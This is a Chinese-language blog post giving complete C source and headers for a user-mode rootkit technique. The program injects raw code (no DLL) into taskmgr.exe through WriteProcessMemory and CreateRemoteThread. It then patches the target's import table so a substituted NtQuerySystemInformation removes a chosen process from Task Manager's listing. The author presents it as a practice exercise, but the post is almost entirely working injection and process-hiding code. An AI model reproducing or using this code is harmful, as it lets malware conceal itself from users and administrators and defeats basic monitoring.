代碼注入 API HOOK(非DLL)

使用代碼注入來實現進程隱藏  而不是使用DLL注入來實現進程隱藏  
沒有什麼高級技術  純體力活  原理就不說了  只是沒有通過DLL注入  來實現HOOK API
從核心編程 以來  似乎 一提到C注入 就是DLL注入 很奇怪 爲什麼沒人寫個完整的代碼注入
所以 自己動手寫了下
純粹注入代碼   邪惡二進制上 也有個代碼注入的 只是用了一個未公開的函數,我還看不懂
= =本來想用匯編寫的  發現彙編注入代碼遠比C注入代碼來的繁  所以用C實現了
主要功能就是 隱藏進程   不過RING3的似乎沒多大用  練習而已
代碼如下:
  1. //需要編譯成release版本  DEBUG版本 對函數生成的跳轉地址表
  2. //jmp xxxxx  寫入遠程進程的時候xxxxx等於寫入了一個全局變量
  3. // 程序必然崩潰
  4. #include "Iat_Hook.h"
  5. char cPath[] = "taskmgr.exe";
  6. void main(void)
  7. {
  8.   //定義變量
  9.   DWORD dwPid;
  10.   HANDLE hProcess;
  11.   DWORD dwSize = 2048;
  12.   PVOID pRemoteAddress, pRemoteStructAddress,MyAddress;
  13.   REMOTESTRUCT stRemoteStruct;
  14.   //遍歷進程 尋找taskmgr.exe進程ID
  15.     dwPid = GetProcessPid(cPath);
  16.   // open process 得到進程句柄
  17.   hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
  18.   if(hProcess == NULL)
  19.   {
  20.     printf("open error code %d/n",GetLastError());
  21.     return;
  22.   }
  23.   
  24.   //寫入 替代函數
  25.   MyAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  26.   WriteProcessMemory(hProcess, MyAddress, myNtQuerySystemInformation, dwSize, NULL);
  27.   //初始化結構
  28.   InitializeStruct(&stRemoteStruct, (DWORD)MyAddress, dwPid);
  29.   //寫入結構
  30.   pRemoteStructAddress = VirtualAllocEx(hProcess, NULL, sizeof(REMOTESTRUCT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  31.   WriteProcessMemory(hProcess, pRemoteStructAddress, &stRemoteStruct, sizeof(REMOTESTRUCT), NULL);
  32.   //寫入遠程線程函數
  33.   pRemoteAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  34.   WriteProcessMemory(hProcess, pRemoteAddress, RemoteThread, dwSize, NULL);
  35.   //創建遠程線程
  36.   CreateRemoteThread(hProcess, NULL, 0, pRemoteAddress,pRemoteStructAddress, 0, 0);
  37.   CloseHandle(hProcess);
  38. }
  39. DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct)
  40. {
  41.   FARPROC fpVirtualQuery;
  42.   FARPROC fpVirtualProtect;
  43.   FARPROC fpOpenProcess;
  44.   FARPROC fpEnum;
  45.   FARPROC fpGetProcAddress;
  46.   FARPROC fpLoadLibrary;
  47.   FARPROC fpFreeLibrary;
  48.   FARPROC fpWriteMemory;
  49.   FARPROC fplstrcmp;
  50.   HANDLE hProcess = NULL;
  51.   HMODULE hMods[256];
  52.   DWORD dwNeed;
  53.   HANDLE hPsapi;
  54.   MEMORY_BASIC_INFORMATION stMem;
  55.   HMODULE hKernel, hModule;
  56.   PIMAGE_NT_HEADERS pImageNtHeaders;
  57.   PIMAGE_OPTIONAL_HEADER pImageOptionalHeader;
  58.   IMAGE_DATA_DIRECTORY ImageImport;
  59.   PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor;
  60.   PIMAGE_THUNK_DATA pImageThunkData;
  61.   DWORD oldProtect;
  62.   wchar_t *p = pRemoteStruct->cProcessName;
  63.   //初始化函數指針
  64.   fpVirtualQuery = (FARPROC)pRemoteStruct->dwVirtualQuery;
  65.   fpVirtualProtect = (FARPROC)pRemoteStruct->dwVirtualProtect;
  66.   fpOpenProcess = (FARPROC)pRemoteStruct->dwOpenProcess;
  67.   fpLoadLibrary = (FARPROC)pRemoteStruct->dwLoadLibrary;
  68.   fpFreeLibrary = (FARPROC)pRemoteStruct->dwFreeLibrary;
  69.   fpGetProcAddress = (FARPROC)pRemoteStruct->dwGetProcAddress;
  70.   fpWriteMemory = (FARPROC)pRemoteStruct->dwWriteProcessMemory;
  71.   fplstrcmp = (FARPROC)pRemoteStruct->dwlstrcmp;
  72.   //得到進程句柄
  73.   hProcess =(HANDLE)fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, pRemoteStruct->dwPid);
  74.   if(!hProcess)
  75.     return 0;
  76.   //得到模塊基址 模塊基址存放於hMods[0]
  77.   hPsapi = (HANDLE)fpLoadLibrary(pRemoteStruct->cDllName);
  78.   fpEnum = (FARPROC)fpGetProcAddress(hPsapi, pRemoteStruct->cFunName);
  79.   fpEnum(hProcess, hMods, sizeof(hMods), &dwNeed);
  80.   fpFreeLibrary(hPsapi);
  81.   hModule = hMods[0];
  82.   //改變內存屬性  因爲採用的不是DLL插入 NtQuerySystemInformation的原始地址無法通過
  83.   //全局變量傳遞給 替代函數 這裏通過把函數地址寫入kernel的PE頭 來實現 這樣只需要在替代函數中讀出地址就可以了
  84.   hKernel = (HANDLE)fpLoadLibrary(pRemoteStruct->cKernel);
  85.   fpVirtualQuery(hKernel,&stMem, sizeof (MEMORY_BASIC_INFORMATION));
  86.   fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, &stMem.Protect);
  87.   fpWriteMemory(hProcess, (PBYTE)(hKernel)+4, &pRemoteStruct->dwNtQuerySystem, sizeof(DWORD), NULL);
  88.   fpWriteMemory(hProcess, (PBYTE)(hKernel)+8, &pRemoteStruct->dwlstrcmpW, sizeof(DWORD), NULL);
  89.   fpWriteMemory(hProcess, (PBYTE)(hKernel)+0x14, &p, sizeof(DWORD), NULL);
  90.   fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, &oldProtect);
  91.   //查找導入表 找到存放NtQuerySystemInformation
  92.   pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)*((PBYTE)hModule+0x3c) + (DWORD)hModule);
  93.   pImageOptionalHeader = &pImageNtHeaders->OptionalHeader;
  94.     ImageImport = pImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  95.   pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImageImport.VirtualAddress + (DWORD)hModule);
  96.   while(pImageImportDescriptor->Name)
  97.   {
  98.     if(0 == fplstrcmp(pRemoteStruct->cNtdll, (PSTR)(pImageImportDescriptor->Name + (DWORD)hModule)))
  99.     {      
  100.       break;
  101.     }
  102.     pImageImportDescriptor++;
  103.   }
  104.   //替換 NtQuerySystemInformation的地址
  105.   pImageThunkData = (PIMAGE_THUNK_DATA)(pImageImportDescriptor->FirstThunk + (DWORD)hModule);
  106.   while(pImageThunkData->u1.Function)
  107.   {
  108.     if(pImageThunkData->u1.Function == pRemoteStruct->dwNtQuerySystem)
  109.     {
  110.       fpVirtualQuery(&pImageThunkData->u1.Function, &stMem, sizeof (MEMORY_BASIC_INFORMATION));
  111.       fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, PAGE_READWRITE, &stMem.Protect);
  112.       pImageThunkData->u1.Function =  pRemoteStruct->dwMyAddress;
  113.       break;
  114.     }
  115.     pImageThunkData++;
  116.   }
  117.   fpVirtualProtect(stMem.BaseAddress, stMem.RegionSize, stMem.Protect, &oldProtect);
  118.   return 0;
  119. }
  120. NTSTATUS WINAPI myNtQuerySystemInformation  (
  121.               SYSTEM_INFORMATION_CLASS SystemInformationClass,
  122.         PVOID SystemInformation,
  123.           ULONG SystemInformationLength,
  124.                 PULONG ReturnLength)
  125. {
  126.   HANDLE hKernel;
  127.   NTSTATUS ntStatus;
  128.   wchar_t *pName;
  129.   PSYSTEM_PROCESS_INFORMATION pCurrent, pForward;
  130.   FARPROC fpNtQuerySystem;
  131.   FARPROC fplstrcmpW;
  132.   //尋找kernel32的基址  準備讀取需要用到的函數地址
  133.   _asm 
  134.   {
  135.     mov eax,fs:[0x30]
  136.     mov eax,[eax+0xc]
  137.     mov ecx,[eax+0x1c]
  138.     mov ecx, [ecx]
  139.     mov eax, [ecx+8]
  140.     mov hKernel,eax
  141.   }
  142.   //取得函數地址
  143.   fpNtQuerySystem = *(FARPROC *)((DWORD)hKernel + 4);
  144.   fplstrcmpW = *(FARPROC *)((DWORD)hKernel + 8);
  145.   //取得 需隱藏的進程名
  146.   pName = *(wchar_t **)((DWORD)hKernel + 0x14);
  147.   ntStatus = (NTQUERYSYSTEMINFORMATION)fpNtQuerySystem(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  148.   if (SystemProcessesAndThreadsInformation == SystemInformationClass)
  149.   {
  150.     pForward = NULL;
  151.     pCurrent = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  152.     while(pCurrent->NextEntryDelta)//檢驗是否到 最後一個進程結構
  153.     {
  154.       if(pCurrent->ProcessName.Buffer)
  155.       {
  156.         //_asm int 3
  157.         if(0 == fplstrcmpW(pCurrent->ProcessName.Buffer, pName))
  158.         {
  159.           if(pForward)
  160.           {
  161.             if(pCurrent->NextEntryDelta)//隱藏的進程在鏈表中間              
  162.             {
  163.               pForward->NextEntryDelta += pCurrent->NextEntryDelta;
  164.             }
  165.             else//隱藏的進程在鏈表末端
  166.               pForward->NextEntryDelta = 0;
  167.           }
  168.           else //要隱藏的進程在鏈表頭時
  169.           {
  170.             if(pCurrent->NextEntryDelta)
  171.             {
  172.               SystemInformation = (PBYTE)pCurrent + pCurrent->NextEntryDelta;
  173.             }
  174.             else
  175.               SystemInformation = NULL;
  176.           }
  177.         }
  178.       }
  179.         pForward = pCurrent;
  180.         pCurrent = (PSYSTEM_PROCESS_INFORMATION)(pCurrent->NextEntryDelta + (PBYTE)pForward);
  181.     }
  182.     //_asm int 3
  183.   }
  184.   return ntStatus;
  185. }
  186. //得到進程PID
  187. DWORD GetProcessPid(char *cPath)
  188. {
  189.   PROCESSENTRY32 stProcess;
  190.   HANDLE hSnap;
  191.   BOOL bRet;
  192.   hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  193.   if(hSnap == INVALID_HANDLE_VALUE)
  194.   {
  195.     printf("error/n");
  196.     return 0;
  197.   }
  198.   stProcess.dwSize = sizeof (PROCESSENTRY32);
  199.   bRet = Process32First(hSnap, &stProcess);
  200.   if(!bRet)
  201.   {
  202.     printf("first error/n");
  203.     return 0;
  204.   }
  205.   do
  206.   {
  207.     if(0 == strcmp(stProcess.szExeFile, cPath)) //find  process of target
  208.     {
  209.       break;
  210.     }
  211.   }while(Process32Next(hSnap, &stProcess));
  212.   //確認 是否找到 目標進程
  213.   if(0 != strcmp(stProcess.szExeFile, "taskmgr.exe"))
  214.   {
  215.     printf("can not find process/n");
  216.     return 0;
  217.   }
  218.   CloseHandle(hSnap);
  219.   return stProcess.th32ProcessID;
  220. }
  221. VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid)
  222. {
  223.   HANDLE hNtdll;
  224.   HANDLE hKernel;
  225.   hNtdll = LoadLibrary("ntdll.dll");
  226.   pRemoteStruct->dwNtQuerySystem = (DWORD)GetProcAddress(hNtdll, "NtQuerySystemInformation");
  227.   FreeLibrary(hNtdll);
  228.   hKernel = LoadLibrary("kernel32.dll");
  229.   pRemoteStruct->dwVirtualProtect = (DWORD)GetProcAddress(hKernel, "VirtualProtect");
  230.   pRemoteStruct->dwVirtualQuery = (DWORD)GetProcAddress(hKernel, "VirtualQuery");
  231.   pRemoteStruct->dwOpenProcess = (DWORD)GetProcAddress(hKernel, "OpenProcess");
  232.   pRemoteStruct->dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
  233.   pRemoteStruct->dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
  234.   pRemoteStruct->dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
  235.   pRemoteStruct->dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel, "WriteProcessMemory");
  236.   pRemoteStruct->dwlstrcmp = (DWORD)GetProcAddress(hKernel, "lstrcmpA");
  237.   pRemoteStruct->dwlstrcmpW = (DWORD)GetProcAddress(hKernel, "lstrcmpW");
  238.   FreeLibrary(hKernel);
  239.   
  240.   pRemoteStruct->dwMyAddress = MyAddress;
  241.   pRemoteStruct->dwPid = dwPid;
  242.   strcpy(pRemoteStruct->cDllName, "Psapi.dll");
  243.   strcpy(pRemoteStruct->cFunName, "EnumProcessModules");
  244.   strcpy(pRemoteStruct->cKernel,"Kernel32.dll");
  245.   strcpy(pRemoteStruct->cNtdll, "ntdll.dll");
  246.         //要隱藏的進程名
  247.   wcscpy(pRemoteStruct->cProcessName, L"explorer.exe");
  248. }
  249. Iat_Hook.h
  250. //頭文件
  251. #include <windows.h>
  252. #include <stdio.h>
  253. #include <stdlib.h>
  254. #include <string.h>
  255. #include <tlhelp32.h>
  256. #include <imagehlp.h>
  257. #include "Winternl.h"
  258. #pragma comment(lib, "imagehlp")
  259. //類型聲明
  260. typedef int NTSTATUS;
  261. typedef BOOL (__stdcall *ENUMPROCESSMODULES)(
  262.             HANDLE hProcess,
  263.             HMODULE* lphModule,
  264.             DWORD cb,
  265.             LPDWORD lpcbNeeded
  266. );
  267. typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
  268.             SYSTEM_INFORMATION_CLASS SystemInformationClass,
  269.             PVOID SystemInformation,
  270.             ULONG SystemInformationLength,
  271.             PULONG ReturnLength
  272. );
  273. typedef struct _REMOTE_STRUCT
  274. {
  275.   DWORD dwNtQuerySystem;
  276.   DWORD dwVirtualQuery;
  277.   DWORD dwVirtualProtect;
  278.   DWORD dwOpenProcess;
  279.   DWORD dwMessageBox;
  280.   DWORD dwLoadLibrary;
  281.   DWORD dwGetProcAddress;
  282.   DWORD dwFreeLibrary;
  283.   DWORD dwWriteProcessMemory;
  284.   DWORD dwlstrcmp;
  285.   DWORD dwlstrcmpW;
  286.   DWORD dwEnum;
  287.   DWORD dwMyAddress;
  288.   DWORD dwPid;
  289.   char cDllName[50];
  290.   char cFunName[50];
  291.   char cKernel[50];
  292.   char cNtdll[50];
  293.   wchar_t cProcessName[50];//要隱藏的進程名
  294. }REMOTESTRUCT, *PREMOTESTRUCT;
  295. //函數聲明
  296. DWORD GetProcessPid(char *cPath);
  297. DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct);
  298. VOID InitializeStruct(PREMOTESTRUCT pRemoteStruct, DWORD MyAddress, DWORD dwPid);
  299. NTSTATUS WINAPI myNtQuerySystemInformation  (
  300.               SYSTEM_INFORMATION_CLASS SystemInformationClass,
  301.         PVOID SystemInformation,
  302.           ULONG SystemInformationLength,
  303.                 PULONG ReturnLength);
  304. Winternl.h
  305. typedef struct _UNICODE_STRING { 
  306.   USHORT Length; 
  307.   USHORT MaximumLength; 
  308.   PWSTR  Buffer;                 //注意,這裏爲Unicode類型
  309. } UNICODE_STRING, *PUNICODE_STRING;
  310. typedef enum _SYSTEM_INFORMATION_CLASS {
  311. SystemBasicInformation,
  312. SystemProcessorInformation,
  313. SystemPerformanceInformation,
  314. SystemTimeOfDayInformation,
  315. SystemNotImplemented1,
  316. SystemProcessesAndThreadsInformation,
  317. SystemCallCounts,
  318. SystemConfigurationInformation,
  319. SystemProcessorTimes,
  320. SystemGlobalFlag,
  321. SystemNotImplemented2,
  322. SystemModuleInformation,
  323. SystemLockInformation,
  324. SystemNotImplemented3,
  325. SystemNotImplemented4,
  326. SystemNotImplemented5,
  327. SystemHandleInformation,
  328. SystemObjectInformation,
  329. SystemPagefileInformation,
  330. SystemInstructionEmulationCounts,
  331. SystemInvalidInfoClass1,
  332. SystemCacheInformation,
  333. SystemPoolTagInformation,
  334. SystemProcessorStatistics,
  335. SystemDpcInformation,
  336. SystemNotImplemented6,
  337. SystemLoadImage,
  338. SystemUnloadImage,
  339. SystemTimeAdjustment,
  340. SystemNotImplemented7,
  341. SystemNotImplemented8,
  342. SystemNotImplemented9,
  343. SystemCrashDumpInformation,
  344. SystemExceptionInformation,
  345. SystemCrashDumpStateInformation,
  346. SystemKernelDebuggerInformation,
  347. SystemContextSwitchInformation,
  348. SystemRegistryQuotaInformation,
  349. SystemLoadAndCallImage,
  350. SystemPrioritySeparation,
  351. SystemNotImplemented10,
  352. SystemNotImplemented11,
  353. SystemInvalidInfoClass2,
  354. SystemInvalidInfoClass3,
  355. SystemTimeZoneInformation,
  356. SystemLookasideInformation,
  357. SystemSetTimeSlipEvent,
  358. SystemCreateSession,
  359. SystemDeleteSession,
  360. SystemInvalidInfoClass4,
  361. SystemRangeStartInformation,
  362. SystemVerifierInformation,
  363. SystemAddVerifier,
  364. SystemSessionProcessesInformation
  365. } SYSTEM_INFORMATION_CLASS;
  366. typedef struct _SYSTEM_PROCESS_INFORMATION  
  367. {  
  368.     DWORD NextEntryDelta;  
  369.     DWORD dThreadCount;  
  370.     DWORD dReserved01;  
  371.     DWORD dReserved02;  
  372.     DWORD dReserved03;  
  373.     DWORD dReserved04;  
  374.     DWORD dReserved05;  
  375.     DWORD dReserved06;  
  376.     FILETIME ftCreateTime; /* relative to 01-01-1601 */  
  377.     FILETIME ftUserTime; /* 100 nsec units */  
  378.     FILETIME ftKernelTime; /* 100 nsec units */  
  379.     UNICODE_STRING ProcessName;      //這就是進程名
  380.     DWORD BasePriority;  
  381.     DWORD dUniqueProcessId;            //進程ID
  382.     DWORD dParentProcessID;  
  383.     DWORD dHandleCount;  
  384.     DWORD dReserved07;  
  385.     DWORD dReserved08;  
  386.     DWORD VmCounters;  
  387.     DWORD dCommitCharge;  
  388.     PVOID ThreadInfos[1]; 
  389. } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
後記:第一次沒有照着書 打代碼 也找不到C 注入代碼的例子 能找到的都是DLL注入 原理早就知道了 真的寫一遍 不容易 整個編寫的過程 碰到了很多問題 最終都解決了 輕鬆了
發佈了21 篇原創文章 · 獲贊 0 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章